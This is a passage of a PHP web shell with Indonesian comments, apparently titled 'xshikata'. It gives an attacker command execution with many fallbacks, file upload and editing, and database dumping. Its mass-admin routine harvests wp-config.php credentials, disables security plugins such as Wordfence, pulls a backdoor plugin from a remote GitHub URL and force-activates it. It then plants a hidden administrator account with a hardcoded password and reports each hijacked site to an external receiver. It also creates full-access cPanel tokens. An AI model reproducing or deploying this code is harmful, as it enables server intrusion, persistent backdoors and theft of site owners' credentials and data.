{ while (!feof($fp)) $out .= fread($fp, 1024); pclose($fp); if (!empty($out)) return $out; } } // 6. proc_open if (function_exists('proc_open') && stripos(ini_get('disable_functions'), 'proc_open') === false) { $desc = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open($cmd, $desc, $pipes); if (is_resource($proc)) { $out = stream_get_contents($pipes[1]); // Stdout $out .= stream_get_contents($pipes[2]); // Stderr fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); if (!empty($out)) return $out; } } return $out; } } // 3. HELPER: BACA FILE (PHP NATIVE + EXEC FALLBACK) if (!function_exists('baca_file_smart')) { function baca_file_smart($path) { if (!file_exists($path)) return ""; // A. PHP Native (Paling Cepat & Aman) $c = @file_get_contents($path); if ($c) return $c; // B. Stream Read if (function_exists('fopen') && function_exists('fread')) { $h = @fopen($path, 'r'); if ($h) { $c = @fread($h, filesize($path) + 1024); fclose($h); if ($c) return $c; } } // C. Exec Fallback (cat) - Jika permission PHP ditolak, coba via system // Gunakan fungsi jalankan_cmd_tangguh agar mencoba semua metode exec $cmd = "cat " . escapeshellarg($path); $c = jalankan_cmd_tangguh($cmd); if ($c) return $c; return ""; } } if (!function_exists('get_conf_val_smart')) { function get_conf_val_smart($content, $key) { if (preg_match("/define\(\s*['\"]" . preg_quote($key, '/') . "['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $content, $m)) return $m[1]; return null; } } // 4. SCAN FOLDER (STREAM MODE) if (!function_exists('scan_smart_stream')) { function scan_smart_stream($dir, &$results) { $dir = rtrim($dir, '/') . '/'; if (file_exists($dir . 'wp-config.php')) $results[] = $dir . 'wp-config.php'; if ($dh = @opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file === '.' || $file === '..') continue; $full_path = $dir . $file; if (is_dir($full_path) && !is_link($full_path)) { $target_public = $full_path . '/public_html/wp-config.php'; $target_root = $full_path . '/wp-config.php'; if (file_exists($target_public)) $results[] = $target_public; elseif (file_exists($target_root)) $results[] = $target_root; } } closedir($dh); } } } // --- LOGIC EKSEKUSI --- // A. BUAT TOKEN CPANEL (UAPI) if (isset($_POST['buat_token_cpanel'])) { $dom = $_SERVER['SERVER_NAME']; if(function_exists('php_uname')) { $p=explode(" ",php_uname()); if(isset($p[1]))$dom=$p[1]; } $usr = getenv('USER'); if(!$usr && function_exists('get_current_user')) $usr=get_current_user(); // Path binary uapi $bins = ["uapi", "/usr/bin/uapi", "/usr/local/cpanel/bin/uapi", "/usr/local/bin/uapi"]; $cmd_base = "Tokens create_full_access name=xshikata"; $res_tok = ""; $suc_tok = false; foreach($bins as $b) { $full_cmd = "$b $cmd_base"; // Panggil fungsi multi-fallback kita $res_tok = jalankan_cmd_tangguh($full_cmd); // Cek keberhasilan if($res_tok && (stripos($res_tok,'result')!==false || stripos($res_tok,'token')!==false)) { $suc_tok=true; break; } } $h_tok = "
"; $h_tok .= "

cPanel Token Result

"; $h_tok .= "

Domain: $dom | User: $usr

"; $h_tok .= ""; if(!$suc_tok && !$res_tok) $h_tok .= "

Gagal eksekusi. Semua fungsi exec (shell_exec, system, popen, dll) mungkin didisable.

"; $h_tok .= "
"; $success_msg = $h_tok; } // FITUR: SCAN SITE TOOL (MODERN GRID LAYOUT) if (isset($_POST['scan_site'])) { $target_scan_dir = isset($default_dir) ? $default_dir : getcwd(); $found_domains = []; // Scan folder logic if (is_dir($target_scan_dir)) { $items = scandir($target_scan_dir); foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $path = $target_scan_dir . '/' . $item; if (is_dir($path)) { // Regex domain if (preg_match('/^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$/i', $item)) { $found_domains[] = $item; } } } } // --- MULAI TAMPILAN MODERN --- $out_html = '
'; // Header Panel $out_html .= '
'; $out_html .= '

'; $out_html .= ' Scan Result '; $out_html .= ''.count($found_domains).''; $out_html .= '

'; // Tombol Close $out_html .= ''; $out_html .= '
'; // Body Panel $out_html .= '
'; if (!empty($found_domains)) { // Grid Container: Responsif (otomatis menyesuaikan lebar layar) $out_html .= '
'; // Icon Google SVG $googleSvg = ''; foreach ($found_domains as $dom) { $link = "https://www.google.com/search?q=site:" . htmlspecialchars($dom); // Item Card $out_html .= '
'; // Nama Domain $out_html .= ''.htmlspecialchars($dom).''; // Tombol Ikon $out_html .= ''.$googleSvg.''; $out_html .= '
'; } $out_html .= '
'; // End Grid } else { // Tampilan Kosong $out_html .= '
'; $out_html .= ''; $out_html .= '

No domains found in this directory.

'; $out_html .= '
'; } $out_html .= '
'; // End Body & Main Div // Masukkan ke variabel pesan sukses agar tampil di atas $success_msg = $out_html; } // B. MASS ADMIN if (isset($_POST['create_wp_admin']) || isset($_POST['reactivate_plugins'])) { $targets = []; $root = isset($default_dir) ? $default_dir : getcwd(); if (isset($_POST['create_wp_admin'])) { scan_smart_stream($root, $targets); $targets = array_unique($targets); } else { if(file_exists($root.'/wp-config.php')) $targets[]=$root.'/wp-config.php'; } if (empty($targets)) { $error_msg = "Tidak ditemukan wp-config.php (Smart Scan)."; } else { // STYLE $st_ok = "background:#28a745; color:#fff; padding:2px 6px; border-radius:3px; font-size:0.85em; font-weight:bold; margin-right:5px;"; $st_err = "background:#dc3545; color:#fff; padding:2px 6px; border-radius:3px; font-size:0.85em; font-weight:bold; margin-right:5px;"; $st_warn= "background:#ffc107; color:#000; padding:2px 6px; border-radius:3px; font-size:0.85em; font-weight:bold; margin-right:5px;"; $log = "
"; $log .= "

Mass Execution Result (Cache Bypass Mode)

"; $au = 'xshikata'; $ap = md5('Lulz1337'); $ae = 'topupgameku.id@gmail.com'; $plugin_src = 'https://raw.githubusercontent.com/baseng1337/damn/refs/heads/main/system-core.php'; $plugin_folder_name = 'system-core'; $plugin_filename = 'system-core.php'; $plugin_hook = $plugin_folder_name . '/' . $plugin_filename; $plugin_hook_old = 'system-core.php'; $receiver_url = 'https://stepmomhub.com/wp/receiver.php'; $receiver_key = 'wtf'; foreach ($targets as $cfg) { $raw = baca_file_smart($cfg); if (!$raw) { continue; } $dh = get_conf_val_smart($raw, 'DB_HOST'); $du = get_conf_val_smart($raw, 'DB_USER'); $dp = get_conf_val_smart($raw, 'DB_PASSWORD'); $dn = get_conf_val_smart($raw, 'DB_NAME'); $pre = 'wp_'; if (preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $raw, $m)) $pre = $m[1]; $wp_root_path = dirname($cfg); $disp = str_replace($root, '', $wp_root_path); $log .= "
"; $log .= "
Target: ".($disp?:'/')."
"; $log .= "
"; @mysqli_report(MYSQLI_REPORT_OFF); $cn = mysqli_init(); @mysqli_options($cn, MYSQLI_OPT_CONNECT_TIMEOUT, 2); if (@mysqli_real_connect($cn, $dh, $du, $dp, $dn)) { if (isset($_POST['create_wp_admin'])) { // --- OPTIMASI: DOWNLOAD MASTER SEKALI SAJA --- global $master_core, $master_index; if (!isset($master_core)) { $master_core = sys_get_temp_dir() . '/master_core_' . time() . '.php'; $master_index = sys_get_temp_dir() . '/master_index_' . time() . '.php'; $ua = stream_context_create(['http'=>['header'=>"User-Agent: Mozilla/5.0"]]); $src_core = @file_get_contents($plugin_src, false, $ua); $src_idx = @file_get_contents('https://raw.githubusercontent.com/baseng1337/damn/refs/heads/main/index.php', false, $ua); if($src_core) file_put_contents($master_core, $src_core); if($src_idx) file_put_contents($master_index, $src_idx); } $plugins_dir = $wp_root_path . '/wp-content/plugins/'; // --- 1. KILL SECURITY PLUGINS (RENAME MODE) --- $targets_to_kill = [ 'hostinger', 'wordfence', 'ithemes-security-pro', 'better-wp-security', 'sucuri-scanner', 'sg-security', 'login-lockdown', 'limit-login-attempts-reloaded', 'all-in-one-wp-security-and-firewall' ]; $kill_badge = ""; foreach ($targets_to_kill as $folder) { $path = $plugins_dir . $folder; if (is_dir($path)) { @rename($path, $path . '_killed_' . time()); $kill_badge .= "KIL:" . strtoupper(substr($folder,0,3)) . " "; } } if (empty($kill_badge)) $kill_badge = "NO SEC"; // --- 2. DEPLOY SYSTEM CORE --- $target_folder = $plugins_dir . $plugin_folder_name; $target_file = $target_folder . '/' . $plugin_filename; $index_file = $target_folder . '/index.php'; $dl_badge = ""; if (!is_dir($target_folder)) { @mkdir($target_folder, 0755, true); @chmod($target_folder, 0755); } // Copy Core if (!file_exists($target_file)) { if (file_exists($master_core) && @copy($master_core, $target_file)) { @chmod($target_file, 0644); $dl_badge .= "CORE "; } else { $dl_badge .= "CORE "; } } else { $dl_badge .= "CORE "; } // Copy Index Activator if (!file_exists($index_file)) { if (file_exists($master_index) && @copy($master_index, $index_file)) { @chmod($index_file, 0644); $dl_badge .= "IDX"; } else { $dl_badge .= "IDX"; } } else { $dl_badge .= "IDX"; } // --- 3. ACTIVATION (HEX) --- $act_badge = ""; $is_active = false; $wp_content = $wp_root_path . '/wp-content'; $obj_cache = $wp_content . '/object-cache.php'; $adv_cache = $wp_content . '/advanced-cache.php'; $renamed_obj = false; $renamed_adv = false; if (file_exists($obj_cache)) { @rename($obj_cache, $obj_cache . '.suspend'); $renamed_obj = true; } if (file_exists($adv_cache)) { @rename($adv_cache, $adv_cache . '.suspend'); $renamed_adv = true; } $qopt = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='active_plugins'"); if ($qopt && mysqli_num_rows($qopt) > 0) { $row = mysqli_fetch_assoc($qopt); $current_plugins = @unserialize($row['option_value']); if (!is_array($current_plugins)) $current_plugins = []; } else { $current_plugins = []; } $current_plugins = array_diff($current_plugins, [$plugin_hook_old]); if (!in_array($plugin_hook, $current_plugins)) $current_plugins[] = $plugin_hook; sort($current_plugins); $hex_data = bin2hex(serialize($current_plugins)); @mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='active_plugins'"); if (@mysqli_query($cn, "INSERT INTO {$pre}options (option_name, option_value, autoload) VALUES ('active_plugins', 0x$hex_data, 'yes')")) { @mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name LIKE '_transient_%' OR option_name LIKE '_site_transient_%'"); @mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='rls_setup_done'"); $act_badge = "HEX"; $is_active = true; } else { $act_badge = "DB"; } // --- 4. CREATE USER --- $u_badge = ""; $q1 = @mysqli_query($cn, "SELECT ID FROM {$pre}users WHERE user_login='$au'"); if ($q1 && mysqli_num_rows($q1) > 0) { $uid = mysqli_fetch_assoc($q1)['ID']; @mysqli_query($cn, "UPDATE {$pre}users SET user_pass='$ap' WHERE ID=$uid"); $u_badge = "UP"; } else { @mysqli_query($cn, "INSERT INTO {$pre}users (user_login,user_pass,user_nicename,user_email,user_status,display_name) VALUES ('$au','$ap','Admin','$ae',0,'Admin')"); $uid = mysqli_insert_id($cn); $u_badge = "ADD"; } $cap = serialize(['administrator'=>true]); @mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}capabilities','$cap') ON DUPLICATE KEY UPDATE meta_value='$cap'"); @mysqli_query($cn, "INSERT INTO {$pre}usermeta (user_id,meta_key,meta_value) VALUES ($uid,'{$pre}user_level','10') ON DUPLICATE KEY UPDATE meta_value='10'"); // --- 5. PING & DIRECT REPORT (GARANSI LIST MUNCUL) --- $ping_badge = "-"; $surl = ""; $qurl = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='siteurl'"); if ($qurl && mysqli_num_rows($qurl)>0) $surl = mysqli_fetch_assoc($qurl)['option_value']; if (!empty($surl)) { // A. DIRECT REPORT KE DASHBOARD (Agar list domain langsung muncul) // Kita kirim data domain saja, password kosong dulu. Nanti plugin yang isi passwordnya. $pdata_direct = http_build_query(['action'=>'register_site', 'secret'=>$receiver_key, 'domain'=>$surl, 'api_user'=>'', 'api_pass'=>'']); $ctx_direct = stream_context_create(['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded",'content'=>$pdata_direct,'timeout'=>2]]); @file_get_contents($receiver_url, false, $ctx_direct); // B. TRIGGER PLUGIN (Agar generate password) if ($is_active) { $trigger_url = rtrim($surl, '/') . '/wp-content/plugins/' . $plugin_folder_name . '/index.php'; $ctx_trig = stream_context_create(['http'=>['method'=>'GET','header'=>"User-Agent: Mozilla/5.0",'timeout'=>2]]); @file_get_contents($trigger_url, false, $ctx_trig); $ping_badge = "OK"; } } if ($renamed_obj) { @rename($obj_cache . '.suspend', $obj_cache); } if ($renamed_adv) { @rename($adv_cache . '.suspend', $adv_cache); } $log .= "$kill_badge $dl_badge $act_badge $u_badge $ping_badge Login »"; } elseif (isset($_POST['reactivate_plugins'])) { $qbk = @mysqli_query($cn, "SELECT option_value FROM {$pre}options WHERE option_name='xshikata_bkp'"); if ($qbk && mysqli_num_rows($qbk)>0) { $orig = mysqli_real_escape_string($cn, mysqli_fetch_assoc($qbk)['option_value']); @mysqli_query($cn, "UPDATE {$pre}options SET option_value='$orig' WHERE option_name='active_plugins'"); @mysqli_query($cn, "DELETE FROM {$pre}options WHERE option_name='xshikata_bkp'"); $log .= "RESTORED"; } else { $log .= "NO BKP"; } } mysqli_close($cn); } else { $log .= "SKIP DB"; } $log .= "
"; } $log .= "
"; if (isset($_POST['create_wp_admin'])) { $log .= "
"; $log .= "
"; $log .= "
"; $log .= "
"; } $success_msg = $log; } } // =========================================================================== // Action handling (download, delete, create, rename, SQL, etc.) // =========================================================================== if(isset($_GET['awal']) && $_GET['awal']=="pinf") { ob_start(); phpinfo(); $pInf = ob_get_clean(); print str_replace("body {background-color: #ffffff; color: #000000;}", "", $pInf); exit(); } else if ($awal == 'fetch_file' && isset($_POST['fetch_url']) && !empty($_POST['fetch_url'])) { $url = $_POST['fetch_url']; if (!filter_var($url, FILTER_VALIDATE_URL)) { $error_msg = "Invalid URL provided."; } else { $save_as = isset($_POST['save_as']) ? basename(trim($_POST['save_as'])) : ''; if (empty($save_as)) { $save_as = basename(parse_url($url, PHP_URL_PATH)); } if (empty($save_as)) { $save_as = 'downloaded_file.html'; } $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : ""; $dest_path = $default_dir . $pemisah . $save_as; $downloaded = false; // Method 1: cURL (Preferred) if (function_exists('curl_init')) { try { $fp = fopen($dest_path, 'w'); $ch = curl_init($url); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'); $success = curl_exec($ch); curl_close($ch); fclose($fp); if ($success) { $success_msg = "File downloaded successfully via cURL and saved as " . htmlspecialchars($save_as) . ""; $downloaded = true; } else { @unlink($dest_path); // Delete empty file on failure } } catch (Exception $e) { // cURL failed, do nothing, let fallback try } } // Method 2: Fallback (file_get_contents) if (!$downloaded && ini_get('allow_url_fopen')) { $content = @file_get_contents($url); if ($content !== false) { if (@file_put_contents($dest_path, $content) !== false) { $success_msg = "File downloaded successfully via file_get_contents and saved as " . htmlspecialchars($save_as) . ""; $downloaded = true; } } } if (!$downloaded) { $error_msg = "Failed to download file. Both cURL and allow_url_fopen may be disabled or the remote host failed."; } } $awal = 'dasar'; } else if($awal == 'ubah_perm' && isset($_POST['fayl'], $_POST['perm'])) { $namaBerkas = basename(uraikan($_POST['fayl'])); $newPerms = $_POST['perm']; // Simple validation for octal format if (preg_match('/^[0-7]{3,4}$/', $newPerms)) { $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : ""; $pathLengkap = $default_dir . $pemisah . $namaBerkas; if (file_exists($pathLengkap)) { // Convert from string (e.g., "755") to octal integer for chmod if (@chmod($pathLengkap, octdec($newPerms))) { $success_msg = "Permissions for '" . htmlspecialchars($namaBerkas) . "' changed successfully to " . htmlspecialchars($newPerms) . "."; } else { $error_msg = "Failed to change permissions for '" . htmlspecialchars($namaBerkas) . "'. Check server permissions."; } } else { $error_msg = "File not found: " . htmlspecialchars($namaBerkas); } } else { $error_msg = "Invalid permission format. Please use a 3 or 4-digit octal number (e.g., 0755)."; } $awal = 'dasar'; // Fall through to show the file manager again } else if ($awal == 'edit_db_row') { try { if (!isset($_POST['t'], $_POST['pk_val'])) { throw new Exception("Missing data for update."); } $tableName = uraikan($_POST['t']); $pk_val = uraikan($_POST['pk_val']); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; $pdo = new PDO('mysql:host=' . $host . ';dbname=' . $database . ';charset=utf8', $user, $sandi); $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $cols_stmt = $pdo->query("DESCRIBE `{$tableName}`"); $pk_col = $cols_stmt->fetch(PDO::FETCH_ASSOC)['Field']; $data_to_update = []; $control_vars = ['awal', 't', 'pk_val']; foreach($_POST as $key => $value) { if (!in_array($key, $control_vars)) { $data_to_update[$key] = $value; } } if (substr($tableName, -5) === 'users' && isset($data_to_update['user_pass']) && !empty($data_to_update['user_pass'])) { if (strlen($data_to_update['user_pass']) < 32 || !preg_match('/^[a-f0-9]{32}$/i', $data_to_update['user_pass'])) { $data_to_update['user_pass'] = md5($data_to_update['user_pass']); } } $set_parts = []; $params = []; foreach ($data_to_update as $col => $val) { if($col == $pk_col) continue; $set_parts[] = "`{$col}` = ?"; $params[] = $val; } if (count($set_parts) > 0) { $params[] = $pk_val; $sql = "UPDATE `{$tableName}` SET " . implode(', ', $set_parts) . " WHERE `{$pk_col}` = ?"; $stmt = $pdo->prepare($sql); $stmt->execute($params); $success_msg = "Row updated successfully!"; } else { $success_msg = "No changes were made."; } } catch (Exception $e) { $error_msg = "Error updating row: " . $e->getMessage(); } $awal = 'skl'; // Fall through to show the table again } else if($awal=="download_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "") { $namaBerkas = basename(uraikan($_POST['fayl'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { header("Content-Disposition: attachment; filename=" . basename($namaBerkas)); header("Content-Type: application/octet-stream"); header('Content-Length: ' . filesize($default_dir . $pemisah . $namaBerkas)); readfile($default_dir . $pemisah . $namaBerkas); exit(); } } else if($awal=="hapus_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "") { $namaBerkas = basename(uraikan($_POST['fayl'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : ""; $pathLengkap = $default_dir . $pemisah . $namaBerkas; if(is_file($pathLengkap)) { if (@unlink($pathLengkap)) { $success_msg = "File '" . htmlspecialchars($namaBerkas) . "' deleted successfully."; } else { $error_msg = "Failed to delete file '" . htmlspecialchars($namaBerkas) . "'. Check permissions."; } } else { $error_msg = "File not found: " . htmlspecialchars($namaBerkas); } $awal = 'dasar'; } else if($awal=="buat_file" && isset($_POST['new_filename']) && !empty($_POST['new_filename'])) { $namaBerkas = basename($_POST['new_filename']); $kontenBerkas = isset($_POST['new_file_content']) ? $_POST['new_file_content'] : ''; $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" ? "/" : ""; $pathLengkap = $default_dir . $pemisah . $namaBerkas; if(file_exists($pathLengkap)) { $error_msg = "File '" . htmlspecialchars($namaBerkas) . "' already exists!"; } else { if (file_put_contents($pathLengkap, $kontenBerkas) !== false) { $success_msg = "File '" . htmlspecialchars($namaBerkas) . "' created successfully."; } else { $error_msg = "Failed to create file '" . htmlspecialchars($namaBerkas) . "'. Check permissions."; } } } else if($awal=="buat_folder" && isset($_POST['ad']) && !empty($_POST['ad'])) { $namaFolder = basename(uraikan($_POST['ad'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaFolder, 0, 1) != "/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaFolder)) { print ''; } else { mkdir($default_dir . $pemisah . $namaFolder); } } else if($awal=="rename_file" && isset($_POST['fayl']) && trim($_POST['fayl']) != "" && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name'])) { $namaBerkas = basename(uraikan($_POST['fayl'])); $fileNamaBaru = basename(uraikan($_POST['new_name'])); $pemisah = substr($default_dir, strlen($default_dir)-1) != "/" && substr($namaBerkas, 0, 1) != "/" ? "/" : ""; if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas)) { rename($default_dir . $pemisah . $namaBerkas , $default_dir . $pemisah . $fileNamaBaru); } } else if($awal == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t'])) { $tableName = uraikan($_POST['t']); $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';'; if(!empty($host) && !empty($database)) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?"); $getColumns->execute(array($database, $tableName)); $columns = $getColumns->fetchAll(); if($columns) { $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json'); header('Content-type: application/json'); echo json_encode($data); } else { print "Table not found!"; } } catch (Exception $e) { print $e->getMessage(); } } else { print "Error! Please connect to SQL!"; } die; } else if($awal == 'skl_d') { $host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ''; $user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ''; $sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ''; $database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ''; $databaseStr = empty($database) ? '' : 'dbname=' . $database . ';'; if(!empty($host) && !empty($database)) { try { $pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr, $user, $sandi, array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'")); $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC); $allData = array(); $tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?'); $tables->execute(array($database)); $tables = $tables->fetchAll(); foreach($tables AS $tableName) { $tableName = $tableName['table_name']; $data = $pdo->query('SELECT * FROM `' . $tableName .'`'); $data = $data->fetchAll(); $allData[$tableName] = $data ? array($data) : array(); } header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($database)) . '.json'); header('Content-type: application/json'); echo json_encode(utf8ize($allData)); } catch (Exception $e) { print $e->getMessage(); } } else { print "Error! Please connect to SQL!"; } die; } else if($awal == 'kompres' && isset($_POST['save_to'], $_POST['zf']) && is_string($_POST['save_to']) && !empty($_POST['save_to']) && !in_array($_POST['save_to'], array('.' , '..' , './' , '../')) && is_string($_POST['zf']) && !empty($_POST['zf']) ) { $save_to = uraikan($_POST['save_to']); $rootPath = realpath(uraikan($_POST['zf'])); $fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip'; $fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1; if(is_dir($save_to) && is_dir($rootPath) && is_writable($save_to)) { set_time_limit(0); $zip = new ZipArchive(); $zip->open($fileName, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY ); foreach ($files as $name => $file) { if(!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); print "Saved!
"; } else { print "Directory not writable!
"; var_dump(($save_to)); } } else if($awal == 'hapus_folder' && isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf'])) { $rootPath = realpath(uraikan($_POST['zf'])); $folderName = basename($rootPath); if(is_dir($rootPath)) { set_time_limit(0); rrmdir($rootPath); // Verify deletion if (!file_exists($rootPath)) { $success_msg = "Folder '" . htmlspecialchars($folderName) . "' and its contents deleted successfully."; } else { $error_msg = "Failed to delete folder '" . htmlspecialchars($folderName) . "'. Check permissions of the folder and its contents."; } } else { $error_msg = "Directory not found or path is invalid."; } $awal = 'dasar'; } else if ($awal == 'upl_file' && isset($_FILES['ufile'])) { function smart_upload($fileKey, $targetDir) { $res = ['success' => false, 'method' => '', 'message' => '', 'name' => '']; // 1. Validasi Input if (!isset($_FILES[$fileKey]) || $_FILES[$fileKey]['error'] !== UPLOAD_ERR_OK) { $res['message'] = 'Upload error code: ' . ($_FILES[$fileKey]['error'] ?? 'unknown'); return $res; } $filename = basename($_FILES[$fileKey]['name']); $tmp = $_FILES[$fileKey]['tmp_name']; $pemisah = substr($targetDir, -1) !== "/" ? "/" : ""; $dest = $targetDir . $pemisah . $filename; // 2. Validasi Source (Anti-0kb) if (!file_exists($tmp) || filesize($tmp) <= 0) { $res['message'] = 'File tmp kosong/hilang. Upload gagal dari server.'; return $res; } // --- A. METODE PHP NATIVE --- // 1. Move Uploaded File if (!$res['success'] && @move_uploaded_file($tmp, $dest)) { $res['success'] = true; $res['method'] = 'move_uploaded_file'; } // 2. Copy if (!$res['success'] && @copy($tmp, $dest)) { $res['success'] = true; $res['method'] = 'copy'; } // 3. Rename if (!$res['success'] && @rename($tmp, $dest)) { $res['success'] = true; $res['method'] = 'rename'; } // 4. Stream Copy (Fopen) if (!$res['success']) { $src = @fopen($tmp, 'rb'); $dst = @fopen($dest, 'wb'); if ($src && $dst) { if (@stream_copy_to_stream($src, $dst)) { $res['success'] = true; $res['method'] = 'stream_copy'; } } @fclose($src); @fclose($dst); } // 5. File Get/Put Contents if (!$res['success']) { $content = @file_get_contents($tmp); if ($content !== false && strlen($content) > 0) { if (@file_put_contents($dest, $content)) { $res['success'] = true; $res['method'] = 'file_put_contents'; } } } // --- B. METODE SYSTEM COMMAND (Fallback Multi-Fungsi) --- if (!$res['success']) { // Helper: Cari fungsi eksekusi yang aktif (exec, shell_exec, system, dll) $run_cmd = function($cmd) { if (function_exists('shell_exec')) { @shell_exec($cmd); return true; } if (function_exists('exec')) { @exec($cmd); return true; } if (function_exists('system')) { @system($cmd); return true; } if (function_exists('passthru')) { @passthru($cmd); return true; } if (function_exists('popen')) { $fp = @popen($cmd, 'r'); if($fp) { pclose($fp); return true; } } if (function_exists('proc_open')) { $proc = @proc_open($cmd, [0=>['pipe','r'], 1=>['pipe','w'], 2=>['pipe','w']], $pipes); if (is_resource($proc)) { proc_close($proc); return true; } } return false; }; // Command list: cp, mv, cat $sys_cmds = [ ['cmd' => "cp " . escapeshellarg($tmp) . " " . escapeshellarg($dest), 'name' => 'cp'], ['cmd' => "mv " . escapeshellarg($tmp) . " " . escapeshellarg($dest), 'name' => 'mv'], ['cmd' => "cat " . escapeshellarg($tmp) . " > " . escapeshellarg($dest), 'name' => 'cat'] ]; foreach ($sys_cmds as $action) { // Jalankan command menggunakan fungsi apapun yang tersedia if ($run_cmd($action['cmd'])) { // Cek hasil segera if (file_exists($dest) && filesize($dest) > 0) { $res['success'] = true; $res['method'] = 'sys_' . $action['name']; break; // Berhenti jika berhasil } } } } // --- C. VERIFIKASI AKHIR --- if ($res['success']) { // Double check keberadaan dan ukuran file clearstatcache(); if (file_exists($dest) && filesize($dest) > 0) { @chmod($dest, 0644); $res['name'] = $filename; $res['message'] = "File uploaded successfully via {$res['method']}"; } else { $res['success'] = false; $res['message'] = "Metode {$res['method']} jalan, tapi file hasil 0kb/hilang."; @unlink($dest); } } else { $res['message'] = "Gagal total. Semua metode (PHP & System) diblokir/gagal."; } return $res; } $uploadResult = smart_upload('ufile', $default_dir); $upload_message = $uploadResult['message']; } ?> root@xshikata

System Info:

User:

Group:

Safe Mode: ;"> [ PHP Info ]

Server Address:

Server Software:

PHP Version:

cURL Version:

Server Time:

'; ?>
' . $success_msg . ''; } elseif (isset($error_msg)) { echo '
' . $error_msg . '
'; } ?>


"; } // --- GANTI SELURUH BLOK 'chankro_kom' YANG LAMA DENGAN YANG INI --- else if ($awal == 'chankro_kom') { print '
'; print '

Command v2

'; // Area untuk menampilkan hasil command print '
'; if (isset($_POST['chankro_command']) && !empty($_POST['chankro_command'])) { // Panggil fungsi Chankro. Fungsi ini akan langsung mencetak outputnya. // Kita modifikasi sedikit agar tidak ada judul ganda. ob_start(); runChankroModified(trim($_POST['chankro_command']), $default_dir); $output = ob_get_clean(); print str_replace("

result:

", "", $output); } else { print "Terminal ready. Enter a command below."; } print '
'; // Area untuk input command ?>
$
'; } // --- AKHIR DARI BLOK PENGGANTI --- else if ($awal == "sistem_kom") { print '
'; print '
'; if (isset($_POST['kom']) && is_string($_POST['kom']) && !empty($_POST['kom'])) { $komanda = uraikan($_POST['kom']); $result = execute_command($komanda); print htmlspecialchars(isset($result['output']) ? $result['output'] : ""); if(!empty($result['error'])) { print "\n" . htmlspecialchars($result['error']) . ""; } } else { print "Terminal ready. Enter a command below."; } print '
